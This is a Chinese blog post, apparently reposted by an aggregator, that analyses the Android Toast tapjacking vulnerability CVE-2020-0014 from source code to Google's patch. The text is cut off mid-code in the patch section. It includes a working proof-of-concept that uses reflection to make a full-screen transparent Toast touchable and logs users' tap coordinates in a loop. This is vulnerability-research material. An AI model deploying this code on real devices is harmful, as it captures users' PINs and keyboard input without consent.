CVE-2020-0014 Toast组件点击事件截获漏洞

Posted Tr0e

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了CVE-2020-0014 Toast组件点击事件截获漏洞相关的知识,希望对你有一定的参考价值。

文章目录

前言

Toast 组件是 android 系统一个消息提示组件,比如你可以通过以下代码弹出提示用户“该睡觉了…”:

Toast.makeText(this, "该睡觉了…", Toast.LENGTH_SHORT).show();

2020年2月,谷歌安全公告 中修复了该组件一个高危漏洞,影响范围 Android 8.0 - 10:

来看下 美国国家漏洞库NVD 对该漏洞的简单描述:

对应翻译成中文大概就是说:“恶意应用程序可能会手动构建 TYPE_TOAST 窗口并使该窗口可单击。这可能会导致本地权限升级,而无需额外的执行权限”。

看到这可能也无法理解 Toast 组件可“点击”又如何,能构成什么漏洞?参考安全客某大佬发的分析文章 “通过安卓最新 Toast 漏洞进行 Tapjacking” 可以进一步了解到:“该漏洞可使恶意 App 通过构造一个可被点击的 Toast 视图来截获用户在屏幕上的操作,以达到搜集用户密码等敏感信息的目的”。Interesting,分析并学习一下!

漏洞分析

理解漏洞的产生根因可以从源码入手,理解以下代码从调用到弹出提示框,系统都经历了哪些流程。

Toast.makeText(context, text, duration).show() 

组件源码

可以到 http://aospxref.com/ 查询 Andorid 8.0-10 的源码(比如 makeText 函数的源码位置),或者从配置了 SDK (API 28-30) 的 Android Studio 中即可查看源码 android/widget/Toast.java

    //http://aospxref.com/android-8.1.0_r81/xref/frameworks/base/core/java/android/widget/Toast.java#104
    /**
     * Make a standard toast that just contains text.
     *
     * @param context  The context to use.  Usually your @link android.app.Application
     *                 or @link android.app.Activity object.
     * @param text     The text to show.  Can be formatted text.
     * @param duration How long to display the message.  Either @link #LENGTH_SHORT or
     *                 @link #LENGTH_LONG
     *
     */
    public static Toast makeText(Context context, CharSequence text, @Duration int duration) 
        return makeText(context, null, text, duration);
    

    /**
     * Make a standard toast to display using the specified looper.
     * If looper is null, Looper.myLooper() is used.
     *
     * @hide
     */
    public static Toast makeText(@NonNull Context context, @Nullable Looper looper,
            @NonNull CharSequence text, @Duration int duration) 
        if (Compatibility.isChangeEnabled(CHANGE_TEXT_TOASTS_IN_THE_SYSTEM)) 
            Toast result = new Toast(context, looper);
            result.mText = text;
            result.mDuration = duration;
            return result;
         else 
            Toast result = new Toast(context, looper);
            View v = ToastPresenter.getTextToastView(context, text);
            result.mNextView = v;
            result.mDuration = duration;

            return result;
        
    

可以看到 makeText 方法会调用 Toast 构造函数生成一个实例,并构造一个 TextView 作为 Toast 的内容视图,再进一步跟进看下 Toast 的构造函数:

    /**
     * Constructs an empty Toast object.  If looper is null, Looper.myLooper() is used.
     * @hide
     */
    public Toast(@NonNull Context context, @Nullable Looper looper) 
        mContext = context;
        mToken = new Binder();
        looper = getLooper(looper);
        mHandler = new Handler(looper);
        mCallbacks = new ArrayList<>();
        mTN = new TN(context, context.getPackageName(), mToken,
                mCallbacks, looper);
        mTN.mY = context.getResources().getDimensionPixelSize(
                com.android.internal.R.dimen.toast_y_offset);
        mTN.mGravity = context.getResources().getInteger(
                com.android.internal.R.integer.config_toastDefaultGravity);
    

Toast 构造方法主要是实例化 Toast 的私有内部类 TN,再来看 TN 的构造方法:

/**
   * Creates a @link ITransientNotification object.
   *
   * The parameter @code callbacks is not copied and is accessed with itself as its own
   * lock.
*/
TN(String packageName, @Nullable Looper looper) 
    // XXX This should be changed to use a Dialog, with a Theme.Toast
    // defined that sets up the layout params appropriately.
    final WindowManager.LayoutParams params = mParams;
    params.height = WindowManager.LayoutParams.WRAP_CONTENT;
    params.width = WindowManager.LayoutParams.WRAP_CONTENT;
    params.format = PixelFormat.TRANSLUCENT;
    params.windowAnimations = com.android.internal.R.style.Animation_Toast;
    params.type = WindowManager.LayoutParams.TYPE_TOAST;
    params.setTitle("Toast");
    params.flags = WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON
            | WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE
            | WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE;

    mPackageName = packageName;

    if (looper == null) 
        // Use Looper.myLooper() if looper is not specified.
        looper = Looper.myLooper();
        if (looper == null) 
            throw new RuntimeException(
                    "Can't toast on a thread that has not called Looper.prepare()");
        
    
    mHandler = new Handler(looper, null) 
        @Override
        public void handleMessage(Message msg) 
            switch (msg.what) 
                case SHOW: 
                    IBinder token = (IBinder) msg.obj;
                    handleShow(token);
                    break;
                
                case HIDE: 
                    handleHide();
                    // Don't do this in handleHide() because it is also invoked by
                    // handleShow()
                    mNextView = null;
                    break;
                
                case CANCEL: 
                    handleHide();
                    // Don't do this in handleHide() because it is also invoked by
                    // handleShow()
                    mNextView = null;
                    try 
                        getService().cancelToast(mPackageName, TN.this);
                     catch (RemoteException e) 
                    
                    break;
                
            
        
    ;

TN 对象构造函数主要对 mParams 进行了初始化,赋值了一些系列默认属性如 param.type 为 TYPE_TOAST,尤其还注意到 params.flag 属性的默认选项 FLAG_NOT_TOUCHABLE,这个选项设置后显示出的 Toast 不会接收任何触摸事件(后面会补充解释)。

此外还可看出 TN 对象是实际上的 Toast 控制者,负责实现处理 Toast 显示、隐藏、取消的方法。但是在当前例子中我们只关心 Toast 的显示,即 TN 对象的 show() 方法,show() 方法最终又会被走到 handleShow() 方法中:

public void handleShow(IBinder windowToken) 
    if (localLOGV) Log.v(TAG, "HANDLE SHOW: " + this + " mView=" + mView
            + " mNextView=" + mNextView);
    // If a cancel/hide is pending - no need to show - at this point
    // the window token is already invalid and no need to do any work.
    if (mHandler.hasMessages(CANCEL) || mHandler.hasMessages(HIDE)) 
        return;
    
    if (mView != mNextView) 
        // remove the old view if necessary
        handleHide();
        mView = mNextView;
        Context context = mView.getContext().getApplicationContext();
        String packageName = mView.getContext().getOpPackageName();
        if (context == null) 
            context = mView.getContext();
        
        mWM = (WindowManager)context.getSystemService(Context.WINDOW_SERVICE);
        // We can resolve the Gravity here by using the Locale for getting
        // the layout direction
        final Configuration config = mView.getContext().getResources().getConfiguration();
        final int gravity = Gravity.getAbsoluteGravity(mGravity, config.getLayoutDirection());
        mParams.gravity = gravity;
        if ((gravity & Gravity.HORIZONTAL_GRAVITY_MASK) == Gravity.FILL_HORIZONTAL) 
            mParams.horizontalWeight = 1.0f;
        
        if ((gravity & Gravity.VERTICAL_GRAVITY_MASK) == Gravity.FILL_VERTICAL) 
            mParams.verticalWeight = 1.0f;
        
        mParams.x = mX;
        mParams.y = mY;
        mParams.verticalMargin = mVerticalMargin;
        mParams.horizontalMargin = mHorizontalMargin;
        mParams.packageName = packageName;
        mParams.hideTimeoutMilliseconds = mDuration ==
            Toast.LENGTH_LONG ? LONG_DURATION_TIMEOUT : SHORT_DURATION_TIMEOUT;
        mParams.token = windowToken;
        if (mView.getParent() != null) 
            if (localLOGV) Log.v(TAG, "REMOVE! " + mView + " in " + this);
            mWM.removeView(mView);
        
        if (localLOGV) Log.v(TAG, "ADD! " + mView + " in " + this);
        // Since the notification manager service cancels the token right
        // after it notifies us to cancel the toast there is an inherent
        // race and we may attempt to add a window after the token has been
        // invalidated. Let us hedge against that.
        try 
            mWM.addView(mView, mParams);
            trySendAccessibilityEvent();
         catch (WindowManager.BadTokenException e) 
            /* ignore */
        
    

从 handleShow 的实现可以看到 Toast 的本质上是获取到系统的服务 WindowManager ,然后通过调用 WindowManager 的 addView 直接将视图显示出来。

此处 WindowManager.addView 的第二个参数为 WindowManager.LayoutParams ,前面提到初始化的 mParams.flags 里包含一个选项 FLAG_NOT_TOUCHABLE 使得 Toast 在默认情况下不能接受触摸事件,但如果我们通过反射的方式,在 Toast 调用 show() 方法之前就将 mParams.flags 中的 FLAG_NOT_TOUCHABLE 选项清除掉,那我们便能获得一个可以监听触摸事件的的 Toast 了,这便是该漏洞的成因。

触摸属性

在前面的文章:Android安全与隐私相关特性的行为变更分析 中,分析 Android 12 新增特性时我简单介绍过 Android 12 通过限制 FLAG_NOT_TOUCHABLE 属性来限制悬浮窗点击透传事件导致的漏洞。

简单来说,FLAG_NOT_TOUCHABLE 属性可以将 Window 设置为永不接收触摸事件,从而能够将触摸事件透传给蒙层遮盖住的下层区域,不阻塞用户操作。但是这种点击事件的透传由引发了一系列点击劫持类型的漏洞(详情请参见:不可点击观察的威胁:Android中的不可点击的劫持攻击),所以谷歌限制设置了FLAG_NOT_TOUCHABLE 属性的组件的点击透传的场景。

换句话说,由于 Toast 组件默认是设置 FLAG_NOT_TOUCHABLE 属性的,所以你能看到发生 Toast 弹窗的时候,并不会影响你透过 Toast 弹窗所在的位置进一步点击手机屏幕、完成你想干的点击事件。但是, FLAG_NOT_TOUCHABLE 属性带来的点击事件透传导致的劫持漏洞,正是因为恶意悬浮窗设置了该属性,目前咱们讨论的 CVE-2020-0014 漏洞,为什么反而要去通过反射修改掉 FLAG_NOT_TOUCHABLE 属性呢?

原因在于如果将FLAG_NOT_TOUCHABLE 选项清除掉,那我们便能获得一个可以监听触摸事件的 Toast 了,而监听触摸事件又能实现监听用户点击屏幕的坐标位置,从而猜测用户的操作,比如输入的密码数据。具体危害下文的漏洞利用和复现环节将加以直观地体现。

漏洞利用

分析完漏洞根因,下面开始看看如何验证、利用该漏洞。已有大佬已完整将 POC 开源到 Github:CVE-2020-0014-Toast,按需自取,不过由于本人复现过程发现验证失败,故自行做了代码更新,详见下文。

POC分析

从 Toast 类出发,找到需要反射修改目标参数 mTN 和 mParams,如下所示:

public Class Toast 
    // --- snip --- //
    final TN mTN;
    // --- snip --- //
    private static class TN extends ITransientNotification.Stub 
        @UnsupportedAppUsage(maxTargetSdk = Build.VERSION_CODES.P)
        private final WindowManager.LayoutParams mParams = new WindowManager.LayoutParams();
        // --- snip --- //
    

以下是弹出可监听触摸事件的 Toast 的关键代码:

public class ClickToast 
    public static void showToast(final Context context, int duration) 
        Toast mToast = null;
        if (mToast == null) 
            MyTextView view = new MyTextView(context);
            view.setText("nothing");
            view.setAlpha(0);
            mToast = Toast.makeText(context.getApplicationContext(), "hacker", duration);
            mToast.setGravity(Gravity.TOP, 0, 0);
            mToast.setView(view);
        
        try 
            Object mTN;
            mTN = getField(mToast, "mTN"); // Toast.mTN
            if (mTN != null) 
                Object mParams = getField(mTN, "mParams"); // TN.mParams
                if (mParams != null && mParams instanceof WindowManager.LayoutParams) 
                    WindowManager.LayoutParams params = (WindowManager.LayoutParams) mParams;
                    //去掉FLAG_NOT_TOUCHABLE 使Toast可点击
                    params.flags = WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON | WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE ;
                    params.width = WindowManager.LayoutParams.MATCH_PARENT;
                    params.height = WindowManager.LayoutParams.MATCH_PARENT;
                
            
         catch (Exception e) 
            e.printStackTrace();
        
        mToast.show();
    

    //反射调用,将hide类型的私有属性修改为可访问状态
    private static Object getField(Object object, String fieldName) throws NoSuchFieldException, IllegalAccessException 
        Field field = object.getClass().getDeclaredField(fieldName);
        if (field != null) 
            field.setAccessible(true);
            return field.get(object);
        
        return null;
    

主要方法就是通过反射的方式来修改 Toast 对象的TN对象的 mParams 属性,清除其 FLAG_NOT_TOUCHABLE 选项,并且将 Toast 布满屏幕,且设为全透明。

其中 MyTextView 类为自定义视图类,重写了 dispatchTouchEvent 方法来打印触摸坐标信息的日志。

public class MyTextView extends androidx.appcompat.widget.AppCompatTextView 
    public MyTextView(Context context) 
        super(context);
    

    @Override
    public boolean dispatchTouchEvent(MotionEvent ev) 
        float x = ev.getX();
        float y = ev.getY();
        Log.d("LittleLisk", String.format("x:%f, y:%f", x, y));
        return false;
    

作为恶意 App 我们还需要设定一个弹出触摸信息记录 Toast 的时机,简单起见,我采用在 MainActivity 中循环创建一个新的子线程来周期性弹出全透明 Toast 以窃取用户触摸信息( Github 上给出的 POC 是通过启动一个 Service 来周期性弹出全透明 Toast 以窃取用户触摸信息,但是我复现失败了)。

while (true)
    try 
        Thread.sleep(3500);
        new Thread(() -> 
           Looper.prepare();
           Log.e(TAG, "begin");
           ClickToast.showToast(this, Toast.LENGTH_SHORT);
           Looper.loop();
        ).start();
      catch (Exception e) 
         e.printStackTrace();
     

以上便完成了 POC 的整体逻辑实现代码,下面来进行漏洞复现和验证。

漏洞复现

复现环境:Nexus 6 模拟器,Andorid 8.0

此处我模拟的是监听拨打电话的键盘的输入,可以看到最终的实际效果是:用户点击拨号键盘的时候,点击几次按键“1”,将有部分触摸事件点击到透明的 Toast 上并被记录下具体坐标信息,而其他点击事件将正常传递到拨号键盘上(因为刚好在 Toast 消失的时间窗口发生了点击,从而不会被 Toast 覆盖并截获点击事件)。

进一步的可以选择监听用户网银键盘的安全输入事件,危害自然就上来了,我想这也是这个漏洞被 Google 认定为高危漏洞的原因。

漏洞修复

来看下 Google 官方给出的 补丁修复方案

具体代码修改位于 DisplayPolicy.java 的 adjustWindowParamsLw 函数当中:

    /**
     * Sanitize the layout parameters coming from a client.  Allows the policy
     * to do things like ensure that windows of a specific type can't take
     * input focus.
     *
     * @param attrs The window layout parameters to be modified.  These values
     * are modified in-place.
     */
    public void adjustWindowParamsLw(WindowState win, WindowManager.LayoutParams attrs,
            int callingPid, int callingUid) 
        final boolean isScreenDecor = (attrs.privateFlags & PRIVATE_FLAG_IS_SCREEN_DECOR) != 0;
        if (mScreenDecorWindows.contains(win)) 
            if (!isScreenDecor) 
                // No longer has the flag set, so remove from the set.
                mScreenDecorWindows.remove(win);
            
         else if (isScreenDecor && hasStatusBarServicePermission(callingPid, callingUid)) 
            mScreenDecorWindows.add(win以上是关于CVE-2020-0014 Toast组件点击事件截获漏洞的主要内容,如果未能解决你的问题,请参考以下文章

CVE-2020-0014 Toast组件点击事件截获漏洞

微信小程序把玩(二十四)toast组件

Toast的悬浮窗使用

Toast的悬浮窗使用

Android 特殊的单例Toast(防止重复显示)

android的单击监听事件